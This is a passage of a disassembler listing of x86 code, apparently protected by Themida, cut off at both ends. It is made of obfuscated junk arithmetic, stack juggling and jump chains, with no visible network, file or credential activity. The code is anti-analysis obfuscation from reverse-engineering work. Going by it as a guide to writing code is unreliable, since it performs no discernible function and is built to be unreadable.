jmp loc_566088
; ---------------------------------------------------------------------------
lodsd
sub eax, 57B66A4Fh
sub eax, 3D246212h
sub eax, ebx
add eax, 3D246212h
sub esp, 4
mov [esp+0Ah+var_C+2], edx
mov edx, 0D56A16h
push ecx
mov ecx, 7B45079Eh
xor ecx, 57EF0005h
not ecx
push esi
mov esi, 6C661C4Fh
shr esi, 7
jmp $+5
add esi, 2D78D0Dh
sub ecx, esi
jmp loc_562544
; ---------------------------------------------------------------------------
loc_56F738: ; CODE XREF: sub_562ABA+F4E3j
pop ebp
sub edx, 4
jmp loc_56E656
; ---------------------------------------------------------------------------
loc_56F741: ; CODE XREF: sub_562ABA+6329j
mov [esp+1Ah+var_1A], esi
jmp loc_55FF37
; ---------------------------------------------------------------------------
loc_56F749: ; CODE XREF: sub_562ABA+1C9Bj
sub ebp, 542B389Ah
push [esp-8+arg_4]
pop esi
add esp, 4
push ebx
mov ebx, 2
jmp loc_56ED14
; ---------------------------------------------------------------------------
loc_56F764: ; CODE XREF: sub_562ABA+4BCDj
mov ebx, 0E9F64706h
sub esi, ebx
pop ebx
add ebp, esi
jmp loc_564FFC
; ---------------------------------------------------------------------------
loc_56F773: ; CODE XREF: sub_562ABA-31BDj
pop edi
jmp loc_55F6CA
; ---------------------------------------------------------------------------
loc_56F779: ; CODE XREF: sub_562ABA+2434j
add edx, ebx
push ebp
mov ebp, 5C7B4E64h
xor ebp, 368C783Dh
neg ebp
shr ebp, 1
inc ebp
add ebp, 24C0129Bh
jmp loc_5717C1
; ---------------------------------------------------------------------------
loc_56F797: ; CODE XREF: sub_562ABA+C9Ej
push edx
mov edx, 13ED369Ah
sub edx, 3BC25F62h
xor edx, 199660CBh
sub edx, 0B0D0906Fh
jmp loc_5660C2
; ---------------------------------------------------------------------------
loc_56F7B4: ; CODE XREF: sub_562ABA-3BE7j
push edi
push esp
pop edi
add edi, 4
jmp loc_56ACCA
; ---------------------------------------------------------------------------
loc_56F7C2: ; CODE XREF: sub_562ABA+C20Bj
mov ax, word ptr [esp+1Ah+var_1A]
jmp loc_57261C
; ---------------------------------------------------------------------------
loc_56F7CB: ; CODE XREF: sub_55FCA5+10Dj
pop eax
sub eax, 42351DA6h
mov edx, eax
pop eax
push edx
jmp loc_5710F6
; ---------------------------------------------------------------------------
loc_56F7DA: ; CODE XREF: sub_562ABA+7406j
mov edi, 4E2317E3h
jmp loc_570E6E
; ---------------------------------------------------------------------------
loc_56F7E4: ; CODE XREF: sub_562ABA+961j
mov [esp-1Ch+arg_18], edx
jmp loc_56008C
; ---------------------------------------------------------------------------
loc_56F7EC: ; CODE XREF: sub_562ABA+52DFj
inc ebx
push ebx
inc [esp+2Ah+var_2C+2]
jmp loc_56CD85
; ---------------------------------------------------------------------------
loc_56F7F6: ; CODE XREF: sub_562ABA+85CBj
mov ecx, esp
jmp loc_56383E
; ---------------------------------------------------------------------------
loc_56F7FD: ; DATA XREF: Themida_:0055DFFCo
push [esp+1Ah+var_1A]
mov eax, [esp+1Eh+var_1E]
add esp, 4
push edx
mov edx, esp
jmp loc_56A436
; ---------------------------------------------------------------------------
loc_56F811: ; CODE XREF: sub_562ABA+59EBj
xor [esp+3Eh+var_3E], edi
xor edi, [esp+3Eh+var_3E]
jmp loc_56119C
; ---------------------------------------------------------------------------
loc_56F81C: ; CODE XREF: sub_55FC41-DC9j
sub [esp+3Eh+var_3A], 13CC7CA5h
add [esp+3Eh+var_3A], esi
add [esp+3Eh+var_3A], 13CC7CA5h
pop esi
jmp loc_56B1A2
; ---------------------------------------------------------------------------
loc_56F836: ; CODE XREF: sub_562ABA+BABDj
or edi, eax
pop eax
and edi, 133A44CDh
shr edi, 6
add edi, 1B505E63h
sub edx, edi
pop edi
add edi, edx
jmp loc_561525
; ---------------------------------------------------------------------------
loc_56F852: ; CODE XREF: sub_562ABA+77FEj
push eax
push esp
push [esp+26h+var_28+2]
jmp loc_56FF87
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
push dword ptr [esp]
pop eax
push 7D5Eh
mov [esp+32h+var_32], ebp
jmp loc_565B51
; ---------------------------------------------------------------------------
loc_56F870: ; CODE XREF: sub_562ABA+40D1j
xchg ecx, [esp+42h+var_42]
pop esp
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
push ecx
jmp loc_565EC0
; ---------------------------------------------------------------------------
loc_56F886: ; CODE XREF: Themida_:00561FEAj
sub ax, 4D7Dh
sub ax, si
add ax, 4D7Dh
jmp loc_56C01D
; ---------------------------------------------------------------------------
loc_56F896: ; CODE XREF: sub_562ABA+9C9j
add eax, 241B3BA0h
push edi
mov edi, 1E137C14h
shl edi, 4
not edi
and edi, 761E2382h
push ecx
mov ecx, 0B778E60Fh
sub edi, ecx
pop ecx
sub eax, edi
pop edi
jmp loc_56AB5D
; ---------------------------------------------------------------------------
loc_56F8BD: ; CODE XREF: sub_562ABA+38E9j
xchg edx, [esp+0]
jmp loc_56B4A4
; ---------------------------------------------------------------------------
loc_56F8C5: ; CODE XREF: sub_562ABA+8A72j
pop edx
sub eax, 4
jmp loc_56B051
; ---------------------------------------------------------------------------
loc_56F8CE: ; CODE XREF: sub_562ABA-243Dj
mov ecx, 5A2613ABh
push eax
mov eax, 671C34F3h
add ecx, eax
jmp loc_562A7B
; ---------------------------------------------------------------------------
loc_56F8E0: ; CODE XREF: sub_562ABA+40DBj
pop edx
jmp loc_56C487
; ---------------------------------------------------------------------------
loc_56F8E6: ; CODE XREF: sub_562ABA+C6EAj
push [esp+1Ah+var_1A]
jmp loc_562735
; ---------------------------------------------------------------------------
loc_56F8EE: ; CODE XREF: sub_562ABA-5F5j
mov edx, esp
push 41BDh
mov [esp+36h+var_36], ebp
mov ebp, 361059D0h
shl ebp, 6
push ecx
push eax
jmp loc_56682D
; ---------------------------------------------------------------------------
loc_56F907: ; CODE XREF: sub_562ABA+2C1Fj
pop ebp
add esp, 4
add edi, ecx
push edx
jmp loc_57159D
; ---------------------------------------------------------------------------
loc_56F913: ; CODE XREF: sub_562ABA-3D88j
mov cl, 0B3h
mov ah, 7Ah
sub ah, cl
jmp loc_566B45
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+1Eh+var_1E]
push 68AEh
mov [esp+22h+var_22], ebx
push 501h
jmp loc_56630C
; ---------------------------------------------------------------------------
loc_56F934: ; CODE XREF: sub_562ABA+E72Bj
inc dl
push eax
mov al, 0D0h
shr al, 7
or al, 0E5h
sub al, 4Ch
jmp loc_5687DE
; ---------------------------------------------------------------------------
loc_56F945: ; CODE XREF: sub_562ABA+B88Cj
pop [esp+16h+var_16]
mov esp, [esp+12h+var_12]
push esp
pop [esp+16h+var_16]
jmp loc_56C0EB
; ---------------------------------------------------------------------------
loc_56F954: ; CODE XREF: sub_562ABA+3F48j
xor ecx, [esp+0]
xor [esp+0], ecx
xor ecx, [esp+0]
pop esp
jmp loc_5603D3
; ---------------------------------------------------------------------------
loc_56F963: ; CODE XREF: sub_562ABA+3C2Fj
pop [esp-0Ch+arg_8]
mov esp, [esp-10h+arg_C]
mov [esp-10h+arg_C], esi
jmp loc_56644D
; ---------------------------------------------------------------------------
loc_56F971: ; CODE XREF: sub_562ABA+BC86j
add esp, 4
push edx
push [esp-2+arg_0+2]
pop edx
pop dword ptr [esp+0]
pop esp
push small 64B0h
mov word ptr [esp-8+arg_4], cx
push eax
mov ah, 46h
jmp loc_565908
; ---------------------------------------------------------------------------
loc_56F98E: ; CODE XREF: sub_562ABA+D90Bj
mov ebx, 124A2355h
and ebx, 5D310184h
xor ebx, 459E2006h
sub ebx, 0DDD68A5h
jmp loc_569790
; ---------------------------------------------------------------------------
loc_56F9AA: ; CODE XREF: sub_562ABA+312Fj
add ebx, esi
jmp loc_56B633
; ---------------------------------------------------------------------------
loc_56F9B1: ; CODE XREF: sub_562ABA+54Fj
dec eax
neg eax
jmp loc_56095F
; ---------------------------------------------------------------------------
loc_56F9B9: ; CODE XREF: sub_562ABA+3A02j
sub ebp, 4
xchg ebp, [esp+16h+var_16]
pop esp
push esp
pop [esp+16h+var_16]
push ebp
jmp loc_55F91C
; ---------------------------------------------------------------------------
loc_56F9CA: ; CODE XREF: sub_562ABA+D5E9j
pop edx
push edx
mov edx, 304D1AE1h
add esi, edx
pop edx
jmp loc_56A519
; ---------------------------------------------------------------------------
loc_56F9D9: ; CODE XREF: sub_562ABA+C4Bj
not eax
jmp loc_55FC8D
; ---------------------------------------------------------------------------
loc_56F9E0: ; CODE XREF: sub_562ABA+5DA9j
push 495h
mov [esp+1Eh+var_1E], edx
push esp
pop edx
add edx, 4
push 2F37h
mov [esp+22h+var_22], eax
push 2
mov eax, [esp+26h+var_28+2]
add esp, 4
add edx, eax
pop eax
push esi
jmp loc_5668D6
; ---------------------------------------------------------------------------
loc_56FA0C: ; CODE XREF: sub_562ABA+D60Bj
add [esp+22h+var_1E], ebx
mov ebx, [esp+22h+var_22]
add esp, 4
pop ebp
add ebp, 4
push eax
jmp loc_56DDF4
; ---------------------------------------------------------------------------
loc_56FA26: ; CODE XREF: sub_562ABA-35D0j
mov [esp+26h+var_28+2], edx
mov dh, bl
jmp loc_569C6B
; ---------------------------------------------------------------------------
loc_56FA30: ; CODE XREF: sub_562ABA+4E22j
shr ebx, 4
push edi
jmp loc_568198
; ---------------------------------------------------------------------------
loc_56FA39: ; CODE XREF: sub_562ABA+8558j
push 39514B20h
pop ebx
xor ebx, 72154232h
sub ebx, 6309305Ch
not ebx
jmp loc_564C94
; ---------------------------------------------------------------------------
loc_56FA52: ; CODE XREF: sub_562ABA+43ADj
mov eax, esp
add eax, 4
sub eax, 4
push eax
push [esp+5Eh+var_5A]
pop eax
pop [esp+5Eh+var_5E]
pop esp
mov [esp+56h+var_56], ebx
sub esp, 4
jmp loc_57165A
; ---------------------------------------------------------------------------
loc_56FA71: ; CODE XREF: sub_562ABA+9256j
and eax, ebx
mov ebx, [esp+0Ah+var_C+2]
add esp, 4
or eax, eax
jz loc_56CD3D
push dword ptr [edi+28h]
push [esp+0Ah+var_C+2]
pop eax
push 2D3Ah
mov [esp+0], esi
push esp
mov esi, [esp+12h+var_12]
add esp, 4
push edi
mov edi, 8B73B8Ch
neg edi
shl edi, 8
jmp loc_57035C
; ---------------------------------------------------------------------------
loc_56FAA7: ; CODE XREF: sub_562ABA+BA5Fj
add esp, 4
xor ecx, [esp-14h+arg_10]
xor [esp-14h+arg_10], ecx
xor ecx, [esp-14h+arg_10]
mov esp, [esp-14h+arg_10]
sub esp, 4
mov [esp-10h+arg_C], ebx
push edi
mov edi, esp
push edx
mov edx, 4
add edi, edx
pop edx
jmp loc_56ABF6
; ---------------------------------------------------------------------------
loc_56FAD0: ; CODE XREF: sub_562ABA+8CBAj
mov ebp, edx
pop edx
jmp loc_569D2A
; ---------------------------------------------------------------------------
loc_56FAD8: ; CODE XREF: sub_562ABA-5Ej
mov [esp+2Ah+var_2C+2], eax
mov eax, 44C23AE8h
xor esi, eax
pop eax
add esi, 0B3833E74h
push esi
jmp loc_568DE8
; ---------------------------------------------------------------------------
loc_56FAEF: ; CODE XREF: sub_562ABA+693Ej
mov eax, 44033201h
and ebx, eax
pop eax
push ebp
mov ebp, 70248ABh
neg ebp
jmp loc_562664
; ---------------------------------------------------------------------------
loc_56FB04: ; CODE XREF: Themida_:00572B9Dj
mov eax, [esp-10h+arg_C]
jmp loc_5722E7
; ---------------------------------------------------------------------------
loc_56FB0C: ; CODE XREF: sub_562ABA+E13Cj
add edx, 4
xchg edx, [esp-10h+arg_C]
jmp loc_56D8F5
; ---------------------------------------------------------------------------
loc_56FB1A: ; CODE XREF: sub_562ABA+B5E9j
and ecx, edi
jmp loc_567121
; ---------------------------------------------------------------------------
loc_56FB21: ; CODE XREF: sub_562ABA+8372j
add ebx, 2
xor ebx, [esp+12h+var_12]
xor [esp+12h+var_12], ebx
jmp loc_568953
; ---------------------------------------------------------------------------
loc_56FB2F: ; CODE XREF: sub_562ABA-4282j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+0]
pop esp
push eax
mov eax, 4
add ebp, 34E96787h
jmp loc_57196C
; ---------------------------------------------------------------------------
loc_56FB50: ; CODE XREF: sub_562ABA+7FE8j
pop esp
mov [esp+20h+var_22+2], esi
mov esi, 5DAA0116h
add eax, esi
push [esp+20h+var_22+2]
push dword ptr [esp+0]
pop esi
jmp loc_5625B2
; ---------------------------------------------------------------------------
loc_56FB67: ; CODE XREF: sub_562ABA-43BBj
push [esp+22h+var_22]
pop eax
add esp, 4
add eax, 4
sub eax, 4
xchg eax, [esp+1Eh+var_1E]
pop esp
mov [esp+1Ah+var_1A], esi
jmp loc_5675C6
; ---------------------------------------------------------------------------
loc_56FB84: ; CODE XREF: sub_562ABA+4575j
add bl, al
jmp loc_55F1D4
; ---------------------------------------------------------------------------
loc_56FB8B: ; CODE XREF: sub_562ABA+A565j
sub esp, 4
mov [esp+34h+var_36+2], edi
mov edi, 59C66D60h
jmp loc_570BC2
; ---------------------------------------------------------------------------
loc_56FB9E: ; CODE XREF: sub_562ABA+88CFj
or edx, ebx
pop ebx
shr edx, 6
jmp loc_5708F0
; ---------------------------------------------------------------------------
loc_56FBA9: ; CODE XREF: sub_562ABA+6499j
push 5946h
jmp loc_56972C
; ---------------------------------------------------------------------------
loc_56FBB3: ; CODE XREF: sub_562ABA+968Aj
add esp, 4
xchg ecx, [esp+0]
pop esp
mov edi, [esp+2Ah+var_2C+2]
add esp, 4
push ebx
push edi
push 7BCA4DE1h
pop edi
xor edi, 58C934DDh
jmp loc_5660E0
; ---------------------------------------------------------------------------
loc_56FBD6: ; CODE XREF: sub_562ABA+AD35j
sub edx, 0F20748F0h
push 447Dh
jmp loc_56C437
; ---------------------------------------------------------------------------
loc_56FBE6: ; CODE XREF: sub_562ABA+6B5j
mov [esp-8+arg_4], ebx
jmp loc_570FC6
; ---------------------------------------------------------------------------
loc_56FBEE: ; CODE XREF: sub_562ABA+AA17j
push esi
mov esi, 776810FEh
neg esi
add esi, 4D211709h
not esi
xor esi, 6310B9CAh
or edi, esi
pop esi
and edi, 79795BD2h
add edi, 0A68EBE32h
sub ecx, 22C27366h
add ecx, edi
add ecx, 22C27366h
mov edi, [esp-0Ah+arg_4+2]
add esp, 4
jmp loc_5615EA
; ---------------------------------------------------------------------------
loc_56FC2C: ; CODE XREF: sub_562ABA+B0CEj
xor ecx, 3A793EDAh
and ecx, 12B84554h
and ecx, 0BC138ACh
dec ecx
jmp loc_56DE88
; ---------------------------------------------------------------------------
loc_56FC44: ; CODE XREF: sub_562ABA-3517j
xor eax, edi
mov edi, [esp-10h+arg_C]
add esp, 4
push esi
mov esi, 179706B2h
sub esi, 4011533Ch
not esi
jmp loc_568E00
; ---------------------------------------------------------------------------
loc_56FC5F: ; CODE XREF: sub_562ABA+A52j
push 5838h
jmp loc_565080
; ---------------------------------------------------------------------------
loc_56FC69: ; CODE XREF: sub_562ABA+9A2Dj
push dword ptr [esp+0]
pop edi
add esp, 4
mov edi, esi
pop esi
mov eax, 61C272Bh
xor eax, edi
push [esp+26h+var_28+2]
mov edi, [esp+2Ah+var_2C+2]
add esp, 4
push edi
push esp
jmp loc_567566
; ---------------------------------------------------------------------------
loc_56FC8D: ; CODE XREF: sub_562ABA-2E3Cj
add esp, 4
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56FC98: ; CODE XREF: sub_562ABA-EACj
pop edx
pop edi
sub esp, 4
mov [esp+0Ch+var_C], ecx
mov ecx, 70E61B5Eh
add ecx, 7A6913BDh
shr ecx, 5
push eax
mov eax, 5D76F042h
jmp loc_569EDD
; ---------------------------------------------------------------------------
loc_56FCB9: ; CODE XREF: sub_562ABA-34E9j
add edx, eax
push edi
mov edi, 2D25D79h
shr edi, 1
inc edi
sub edi, 0E29259Ch
sub edi, 8B5CD075h
sub edx, edi
pop edi
pop eax
jmp loc_5651B2
; ---------------------------------------------------------------------------
loc_56FCD9: ; CODE XREF: sub_562ABA+EEF8j
push edx
mov edx, 176D3AA3h
jmp loc_56A5E7
; ---------------------------------------------------------------------------
loc_56FCE4: ; CODE XREF: sub_562ABA+F279j
pop eax
jmp loc_56C35C
; ---------------------------------------------------------------------------
loc_56FCEA: ; CODE XREF: sub_562ABA+BC76j
push ecx
push ebp
push 6D9E388Ah
mov ebp, [esp+6+var_8+2]
add esp, 4
and ebp, 2AF90DABh
xor ebp, 7DB0534Bh
mov ecx, ebp
pop ebp
and ebx, ecx
pop ecx
push edx
jmp loc_568E6C
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push ecx
mov ecx, 4F8C620Eh
push 7AC6h
mov [esp+6+var_8+2], edx
push 6C08h
mov [esp+0Ah+var_C+2], ecx
jmp loc_56E095
; ---------------------------------------------------------------------------
loc_56FD2D: ; CODE XREF: sub_562ABA+8966j
add ebx, 588C449Dh
sub ebx, esi
sub ebx, 588C449Dh
push dword ptr [esp+0]
jmp loc_567A05
; ---------------------------------------------------------------------------
loc_56FD43: ; CODE XREF: sub_562ABA+ADFFj
xor ebx, 579559ECh
neg ebx
jmp loc_568A19
; ---------------------------------------------------------------------------
loc_56FD50: ; CODE XREF: sub_562ABA+30Bj
add ebp, 202F1B51h
mov ebx, ebp
mov ebp, [esp+42h+var_42]
add esp, 4
sub [esp+3Eh+var_3A], ebx
mov ebx, [esp+3Eh+var_3E]
add esp, 4
add [esp+3Ah+var_3A], 38D70C91h
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56FD7A: ; CODE XREF: sub_562ABA+7EAEj
add bl, 0DAh
sub bl, 8Ch
jmp loc_565862
; ---------------------------------------------------------------------------
loc_56FD85: ; CODE XREF: sub_562ABA+3BB7j
mov [esp+36h+var_36], eax
mov eax, esp
add eax, 4
add eax, 4
xor eax, [esp+36h+var_36]
jmp loc_56406C
; ---------------------------------------------------------------------------
loc_56FD9A: ; CODE XREF: sub_562ABA+13E5j
pop edi
sub eax, ecx
jmp loc_567BD2
; ---------------------------------------------------------------------------
loc_56FDA2: ; CODE XREF: sub_562ABA+AF86j
mov [esp], edi
push 103765C4h
jmp loc_566071
; ---------------------------------------------------------------------------
loc_56FDAF: ; CODE XREF: sub_562ABA+CB1Fj
mov ecx, 2
jmp loc_572A67
; ---------------------------------------------------------------------------
loc_56FDB9: ; CODE XREF: sub_562ABA-1E34j
xor ebx, 36A26A69h
jmp loc_56A1F4
; ---------------------------------------------------------------------------
loc_56FDC4: ; CODE XREF: sub_562ABA+3477j
add ebx, edi
pop edi
sub ebx, 6134990h
add ebx, esi
add ebx, 6134990h
sub ebx, 614303A1h
pop esi
xchg ebx, [esp+0Ah+var_C+2]
pop esp
pop [esp+6+var_8+2]
pop esp
push 5581h
mov [esp+2+var_4+2], ebx
push ecx
mov ch, dl
jmp loc_56A6BD
; ---------------------------------------------------------------------------
loc_56FDF4: ; CODE XREF: sub_562ABA-26B2j
sub esp, 4
mov [esp+0Ch+var_C], eax
push esi
push edi
mov edi, 76B32B7h
neg edi
and edi, 27455805h
add edi, 0F561FA88h
mov esi, edi
jmp loc_56989A
; ---------------------------------------------------------------------------
loc_56FE16: ; CODE XREF: sub_562ABA+8954j
mov ecx, 4
sub ebp, ecx
pop ecx
xchg ebp, [esp+22h+var_22]
pop esp
mov [esp+1Eh+var_1E], ecx
mov ecx, 0C8B6778h
dec ecx
push 57B1h
mov [esp+22h+var_22], edx
push ebx
mov ebx, 78A161F2h
xor ebx, 63E47139h
mov edx, ebx
pop ebx
push ebp
mov ebp, 4ABB5E9Dh
jmp loc_569C64
; ---------------------------------------------------------------------------
loc_56FE4D: ; CODE XREF: sub_562ABA-4055j
pop esi
jmp loc_5613DA
; ---------------------------------------------------------------------------
loc_56FE53: ; CODE XREF: sub_562ABA+9964j
mov [esp+4Ah+var_4A], eax
jmp loc_56C68F
; ---------------------------------------------------------------------------
loc_56FE5B: ; CODE XREF: sub_562ABA+78FDj
push edi
push [esp+0Eh+var_C+2]
pop edi
pop dword ptr [esp+0]
mov esp, [esp+0Ah+var_C+2]
push [esp+0Ah+var_C+2]
mov ecx, [esp+0]
add esp, 4
push 6BE8h
mov [esp+0], ebx
push 6434h
push 1F9Eh
push esp
pop [esp+1Ah+var_1A]
add [esp+16h+var_16], 4
pop [esp+16h+var_16]
add [esp+12h+var_12], 4
jmp loc_56ABCD
; ---------------------------------------------------------------------------
loc_56FE99: ; CODE XREF: sub_562ABA+6A31j
add esp, 4
push ebx
mov ebx, 4
sub eax, ebx
jmp loc_55ED68
; ---------------------------------------------------------------------------
loc_56FEA9: ; CODE XREF: sub_562ABA+E580j
push 737h
mov [esp+22h+var_22], edi
push 2C1Eh
mov [esp+26h+var_28+2], esp
jmp loc_567B34
; ---------------------------------------------------------------------------
loc_56FEBE: ; CODE XREF: sub_562ABA+E1ABj
sub esp, 4
mov [esp+2Ah+var_2C+2], edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+2Ah+var_2C+2]
jmp loc_5705CD
; ---------------------------------------------------------------------------
loc_56FEDA: ; CODE XREF: sub_562ABA+ACC2j
mov [esp+36h+var_36], esp
jmp loc_56285A
; ---------------------------------------------------------------------------
loc_56FEE2: ; CODE XREF: sub_562ABA+385j
add bl, al
sub bl, 13h
sub bl, 39h
sub bl, 5
sub esp, 4
jmp loc_55FB57
; ---------------------------------------------------------------------------
loc_56FEF8: ; CODE XREF: sub_562ABA+D7E5j
mov ebp, 3F770D17h
add edx, ebp
pop ebp
add edx, 5EE13E74h
jmp loc_568991
; ---------------------------------------------------------------------------
loc_56FF0B: ; CODE XREF: sub_562ABA+2979j
pop eax
add esp, 4
push 30h
mov [esp-6+arg_0+2], edx
mov edx, 2
push eax
mov eax, 19C64DC0h
shr eax, 6
neg eax
or eax, 4B0D62FBh
sub eax, 6BB50D54h
xor eax, 0A02CAE4Dh
add ecx, eax
pop eax
sub ecx, 64F57E56h
add ecx, edx
jmp loc_55E6AC
; ---------------------------------------------------------------------------
loc_56FF46: ; CODE XREF: sub_562ABA+661j
sub esi, 2C335275h
and esi, 377E076Bh
neg esi
add esi, 9704365Ah
xor eax, esi
push [esp+1Eh+var_1E]
pop esi
add esp, 4
jmp loc_55FB0D
; ---------------------------------------------------------------------------
loc_56FF68: ; CODE XREF: sub_562ABA+F873j
add edi, ecx
push 3EF2h
mov [esp+1Eh+var_1E], ecx
push ebp
push 601A7B5Ah
jmp loc_564922
; ---------------------------------------------------------------------------
loc_56FF7D: ; CODE XREF: sub_562ABA+4857j
add dword ptr [esp+0], 4
pop edi
jmp loc_564340
; ---------------------------------------------------------------------------
loc_56FF87: ; CODE XREF: sub_562ABA+CD9Dj
mov eax, [esp+2Ah+var_2C+2]
add esp, 4
jmp loc_564294
; ---------------------------------------------------------------------------
loc_56FF92: ; CODE XREF: sub_562ABA+517j
push ecx
jmp loc_55F8D1
; ---------------------------------------------------------------------------
loc_56FF98: ; CODE XREF: sub_562ABA+2141j
sub ebp, edx
jmp loc_56E79E
; ---------------------------------------------------------------------------
loc_56FF9F: ; CODE XREF: sub_55FCA5+3E2j
add edi, 720E5A59h
pop ebp
push ecx
jmp loc_5622AE
; ---------------------------------------------------------------------------
loc_56FFAC: ; CODE XREF: sub_562ABA+44A8j
mov ebp, 65AE0BDFh
jmp loc_560D89
; ---------------------------------------------------------------------------
loc_56FFB6: ; CODE XREF: sub_562ABA+ED5Dj
add eax, 4
add eax, 4
push eax
push [esp-0Eh+arg_C+2]
pop eax
jmp loc_56B0A7
; ---------------------------------------------------------------------------
loc_56FFC9: ; CODE XREF: sub_562ABA+B8FDj
mov edx, 4
jmp loc_56CA44
; ---------------------------------------------------------------------------
loc_56FFD3: ; CODE XREF: Themida_:005609A8j
push ebp
mov ebp, esp
jmp loc_5692D3
; ---------------------------------------------------------------------------
loc_56FFDB: ; CODE XREF: sub_55EE90+3j
pop ebx
not ebx
push ebp
push ebx
jmp loc_56D832
; ---------------------------------------------------------------------------
loc_56FFE5: ; CODE XREF: sub_562ABA-1417j
pop [esp+2Ah+var_2C+2]
mov esp, [esp+26h+var_28+2]
mov fs:[edx], ax
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56FFF4: ; CODE XREF: sub_562ABA+A251j
pop ecx
add ebx, 2
xchg ebx, [esp+3Ah+var_3A]
pop esp
push 5C9Bh
jmp loc_561064
; ---------------------------------------------------------------------------
loc_570006: ; CODE XREF: sub_562ABA+2BA3j
push 30FE7661h
jmp loc_56330E
; ---------------------------------------------------------------------------
loc_570010: ; CODE XREF: sub_562ABA+3485j
pop ebx
add ebx, 4
add ebx, 4
xor ebx, [esp+16h+var_16]
xor [esp+16h+var_16], ebx
xor ebx, [esp+16h+var_16]
jmp loc_572521
; ---------------------------------------------------------------------------
loc_57002B: ; DATA XREF: Themida_:0055DDF0o
mov ax, word ptr [esp+16h+var_16]
push 20Dh
mov [esp+1Ah+var_1A], edx
push 74A4h
push esp
pop [esp+22h+var_22]
push ecx
mov ecx, 4
add [esp+22h+var_1E], ecx
pop ecx
mov edx, [esp+1Eh+var_1E]
push edx
push esp
mov edx, [esp+26h+var_28+2]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_56E415
; ---------------------------------------------------------------------------
loc_570067: ; CODE XREF: sub_562ABA+77EEj
add edi, ecx
add edi, 2B27199h
pop ecx
jmp loc_564886
; ---------------------------------------------------------------------------
loc_570075: ; CODE XREF: sub_562ABA+EFFEj
mov ecx, esi
pop esi
add ecx, 0F393F13Dh
jmp loc_55FA55
; ---------------------------------------------------------------------------
loc_570083: ; CODE XREF: sub_562ABA+B301j
sub bl, 1
sub bl, 0F8h
add bl, dl
push ecx
mov cl, 0F8h
add bl, cl
pop ecx
push eax
mov al, 13h
jmp loc_56ABB0
; ---------------------------------------------------------------------------
loc_570099: ; CODE XREF: sub_562ABA+DE38j
neg edx
add edx, 3BBE6079h
xor esi, edx
jmp loc_56F9CA
; ---------------------------------------------------------------------------
loc_5700A8: ; CODE XREF: sub_562ABA+5D1Fj
mov [esp+16h+var_16], esp
push ebx
push esi
mov esi, 2BD96FC7h
neg esi
or esi, 2CF173E9h
dec esi
dec esi
sub esi, 0FCF7F3F3h
mov ebx, esi
pop esi
jmp loc_56FA0C
; ---------------------------------------------------------------------------
loc_5700CA: ; CODE XREF: sub_5617E6+7j
xor ebp, 3535215Eh
push ebp
sub [esp+1Eh+var_1E], 57402F84h
pop edi
add edi, 57402F84h
mov ebp, [esp+1Ah+var_1A]
jmp loc_56317F
; ---------------------------------------------------------------------------
loc_5700E7: ; CODE XREF: sub_562ABA+EB21j
add word ptr [esp+1Ah+var_1A], 34h
jmp loc_570C9B
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+1Ah+var_1A]
jmp loc_564BAD
; ---------------------------------------------------------------------------
loc_5700FB: ; CODE XREF: sub_562ABA+21A9j
add ecx, 4
add ecx, 4
jmp loc_571178
; ---------------------------------------------------------------------------
loc_57010C: ; CODE XREF: sub_562ABA+7D66j
pop ebp
jmp loc_56E486
; ---------------------------------------------------------------------------
loc_570112: ; CODE XREF: sub_562ABA+6814j
dec ecx
xchg eax, ecx
jmp loc_55EEE6
; ---------------------------------------------------------------------------
loc_570119: ; CODE XREF: sub_562ABA+69BDj
pop esi
sub ebp, 0FFFFFFFFh
not ebp
jmp loc_5669E6
; ---------------------------------------------------------------------------
loc_570124: ; CODE XREF: sub_562ABA-2EA0j
add edx, eax
mov eax, [esp+12h+var_12]
add esp, 4
xchg edx, [esp+0]
pop esp
push esi
jmp loc_567612
; ---------------------------------------------------------------------------
loc_570136: ; CODE XREF: sub_562ABA+3754j
add esp, 4
and ecx, eax
pop eax
shr ecx, 7
push edx
jmp loc_55EDC2
; ---------------------------------------------------------------------------
loc_570145: ; CODE XREF: sub_562ABA-4D4j
xor eax, 31C92D0Bh
neg eax
not eax
jmp sub_55F777
; ---------------------------------------------------------------------------
loc_570153: ; CODE XREF: sub_562ABA+71D3j
not cx
sub esp, 4
mov [esp+3Ah+var_3A], edi
sub esp, 4
jmp loc_57220E
; ---------------------------------------------------------------------------
loc_57016A: ; CODE XREF: sub_562ABA+CA99j
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_56A55A
; ---------------------------------------------------------------------------
loc_57017C: ; CODE XREF: sub_562ABA+47E6j
sub edx, 9B19ECE2h
jmp loc_565F14
; ---------------------------------------------------------------------------
loc_570187: ; CODE XREF: sub_562ABA-367Fj
push 4BE7h
jmp loc_56A489
; ---------------------------------------------------------------------------
loc_570191: ; CODE XREF: sub_562ABA+BD20j
sub esp, 4
mov [esp+26h+var_28+2], ebp
mov ebp, 7E2A5C07h
add edx, ebp
pop ebp
jmp loc_571DE7
; ---------------------------------------------------------------------------
loc_5701A4: ; CODE XREF: sub_562ABA+7FDAj
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5701A9: ; CODE XREF: sub_562ABA+458j
sub edi, 22A12276h
xor edi, 636BA3CDh
add eax, edi
jmp loc_5682DF
; ---------------------------------------------------------------------------
loc_5701BC: ; CODE XREF: sub_562ABA+2724j
pop esi
not ebp
push esi
mov esi, 0F6F1247Dh
sub ebp, esi
mov esi, [esp+0]
add esp, 4
sub edx, ebp
pop ebp
xor edx, 8B01E5D3h
push edx
pop ebp
pop edx
add edi, ebp
pop ebp
add edi, 4
push edi
push [esp-0Eh+arg_C+2]
pop edi
pop [esp-0Eh+arg_8+2]
mov esp, [esp-12h+arg_C+2]
inc [esp-12h+arg_C+2]
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5701F4: ; CODE XREF: sub_5722B7-1396Aj
push [esp-0Eh+arg_8+2]
pop edx
jmp loc_561F72
; ---------------------------------------------------------------------------
loc_5701FD: ; CODE XREF: sub_562ABA-70j
